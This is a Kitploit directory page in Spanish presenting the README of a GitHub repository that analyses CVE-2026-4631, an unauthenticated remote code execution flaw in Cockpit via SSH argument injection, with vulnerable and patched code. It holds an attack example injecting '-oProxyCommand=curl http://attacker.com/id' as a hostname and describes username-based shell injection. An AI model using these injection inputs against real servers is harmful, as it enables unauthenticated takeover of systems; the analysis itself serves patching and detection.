Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos en SSH | Kitploit
Herramientas/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Ejecución remota de código no autenticada mediante inyección de argumentos de línea de comandos en SSH

Ver Repositorio
14619hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4631 — Análisis de Código

Cockpit: Ejecución Remota de Código No Autenticada mediante Inyección de Argumentos de Línea de Comandos SSH

CampoDetalle
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeveridadCrítica (CVSS 9.8)
Versiones afectadasCockpit 327 – 359
Corregido enCockpit 360
CWECWE-78: Inyección de Comandos del Sistema Operativo
Autenticación requeridaNO
Reportado porJelle van der Waa

Tabla de Contenidos

  1. Resumen de la Vulnerabilidad
  2. Antecedentes de Arquitectura
  3. Análisis de Causa Raíz
  4. Código Vulnerable — Archivo por Archivo
  5. Vectores de Ataque
  6. Diagrama de Flujo de Datos
  7. Análisis del Parche
  8. Detección
  9. Referencias

1. Resumen de la Vulnerabilidad

La función de inicio de sesión remoto de Cockpit pasa nombres de host proporcionados por el usuario (de la ruta URL) y nombres de usuario (del encabezado Authorization: Basic) directamente al binario OpenSSH ssh sin ninguna validación ni saneamiento.

Un atacante no autenticado con acceso de red al puerto 9090 puede elaborar una única solicitud HTTP que:

  • Inyecta opciones SSH arbitrarias mediante el campo nombre de host (-oProxyCommand=<cmd>)
  • Inyecta comandos de shell mediante el campo nombre de usuario explotando la expansión del token %r de SSH

Ambos puntos de inyección se activan antes de que se complete la verificación de credenciales, lo que significa que no se requiere un inicio de sesión válido.


2. Antecedentes de Arquitectura

Flujo Normal de Inicio de Sesión Remoto

Auth-flow

Qué Cambió en la Versión 327

Antes de la versión 327, Cockpit utilizaba un binario C dedicado llamado cockpit-ssh (basado en libssh) para conexiones remotas. A partir de la versión 327, esto fue reemplazado por:

python3 -m cockpit.beiboot

que invoca al cliente OpenSSH ssh del sistema. Este cambio introdujo la vulnerabilidad porque la nueva ruta de código pasa valores controlados por el usuario directamente a ssh sin saneamiento.


3. Análisis de Causa Raíz

Problema 1 — Sin Separador -- Antes del Nombre de Host

El cliente SSH interpreta los argumentos que comienzan con - como opciones, no como un nombre de host, a menos que un separador -- los preceda. Sin --, cualquier nombre de host que comience con - se analiza como una bandera SSH.

Construcción vulnerable:

ssh [opciones] <nombre-de-host> <comando-remoto>

Construcción segura:

ssh [opciones] -- <nombre-de-host> <comando-remoto>

Problema 2 — Sin Validación de Entrada

Ni cockpit-ws (código C) ni cockpit.beiboot (código Python) validan ni sanean:

  • El nombre de host extraído de la ruta URL
  • El nombre de usuario extraído del encabezado Authorization: Basic

Problema 3 — Error de argparse de Python (CPython #66623)

Un error conocido de CPython hace que argparse maneje incorrectamente los argumentos que comienzan con - y que también contienen espacios, tratándolos como posicionales en lugar de banderas. Esto permite que un nombre de host -oProxyCommand=comando malicioso pase a través del análisis de argumentos de Python y llegue a ssh como una opción.


4. Código Vulnerable — Archivo por Archivo

4.1 src/cockpit/beiboot.py — Punto de Inyección Principal

Este es el archivo más crítico. La función via_ssh() construye la lista de argumentos del comando SSH.

Código vulnerable (antes del parche)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Cómo se ve la invocación SSH resultante

Con dest = "-oProxyCommand=curl http://attacker.com/id":

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← opción de cockpit
arg2: -oProxyCommand=curl http://...   ←  ANALIZADO COMO OPCIÓN SSH (no host)
arg3: python3 -ic '# cockpit-bridge'   ← se convierte en el "nombre de host" → activa ProxyCommand

Código corregido (versión 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Capa C: Extracción del Nombre de Host

Este archivo C maneja el análisis inicial de la solicitud HTTP y lanza el proceso beiboot.

Extracción del nombre de host de la URL (sin validación)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

El nombre de host devuelto se pasa directamente como argumento al lanzar beiboot:

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

Corregido en la versión 360

//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Extracción del nombre de usuario del encabezado Authorization (sin validación)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }
Descargar herramienta